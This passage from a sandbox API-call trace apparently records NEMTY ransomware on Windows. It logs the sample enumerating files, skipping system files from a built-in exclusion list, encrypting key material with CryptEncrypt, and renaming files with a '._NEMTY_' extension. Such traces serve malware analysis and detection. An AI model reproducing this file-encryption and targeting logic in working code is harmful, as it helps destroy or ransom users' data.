lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.876] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.876] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.876] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.876] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.882] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.882] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.882] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.882] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.888] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.888] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.888] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.888] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0064.888] CloseHandle (hObject=0xffffffff) returned 0 [0064.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0064.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0064.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0064.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0064.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0064.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0064.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0064.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0064.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0064.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0064.889] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0064.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0064.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0064.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0064.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0064.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0064.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0064.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0064.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0064.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0064.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0064.889] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0064.889] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".") returned 1 [0064.889] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="..") returned 1 [0064.889] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="...") returned 1 [0064.889] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="windows") returned -1 [0064.889] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0064.889] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="rsa") returned -1 [0064.889] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0064.889] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0064.889] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0064.889] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0064.889] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0064.889] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0064.890] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0064.890] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0064.890] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0064.890] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0064.890] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0064.890] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0064.890] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0064.890] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="programdata") returned -1 [0064.890] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="appdata") returned 1 [0064.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0064.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0064.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0064.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0064.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0064.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94328 [0064.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0064.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0064.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0064.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0064.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0064.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0064.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0064.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0064.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0064.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0064.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0064.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0064.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0064.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0064.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345640, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0064.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0064.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94328 [0064.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0064.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0064.890] Sleep (dwMilliseconds=0x5) [0064.894] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xda539cb0, dwHighDateTime=0x1d561e7)) [0064.894] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xda539cb0, dwHighDateTime=0x1d561e7)) [0064.894] GetLastError () returned 0x5 [0064.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0064.894] GetLastError () returned 0x5 [0064.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0064.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0064.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0064.894] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0064.894] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0064.894] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0064.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340110 [0064.894] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340110, pcchString=0x653e91c | out: pszString="P1r2+aBjkunHfZD2W7eoZrGsmp+GtSDgS6vmSaWlIHBB9xUu8+17pHNYpu7S8w/3\r\nr6LYL7usEMDk4nysokLgQr5g0DCdB3H+fgrOYyOUt2pnbRTpa+aq1ml3RUxWd5jR\r\nc6UuTTuwkcrILErVqRLQsRltzTZVbSNzy2fS/IgHs2F2/Jcc1LCgN96N4Sjjkq8D\r\nwqaMcun+QASZTav+DEt/Qqpc9OTgpCzvbxS+jpLUyiLCnY+N6GSxRke/1T43GNf2\r\nhBpyfbOx3bbKBcLAcbop3GaOGdm5lX6bOmeGkblrhH9S8AHndZfcaXfKEvfQywP8\r\n4iRdhohZYsx9qT93J6rCBg==\r\n", pcchString=0x653e91c) returned 1 [0064.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0064.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0064.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0064.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0064.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340110 [0064.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0064.894] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0064.895] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0064.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0064.895] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.895] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.904] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.904] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.904] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.904] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.914] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.914] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.914] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.914] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.923] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.923] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.923] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.923] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.932] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.933] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.933] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.933] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.942] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.942] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.942] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.942] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.951] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.951] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.962] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.962] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.962] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.962] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.971] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.971] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.971] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.971] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.981] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.981] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.981] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.981] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.990] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.990] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.991] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.991] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.997] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.997] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.003] WriteFile (in: 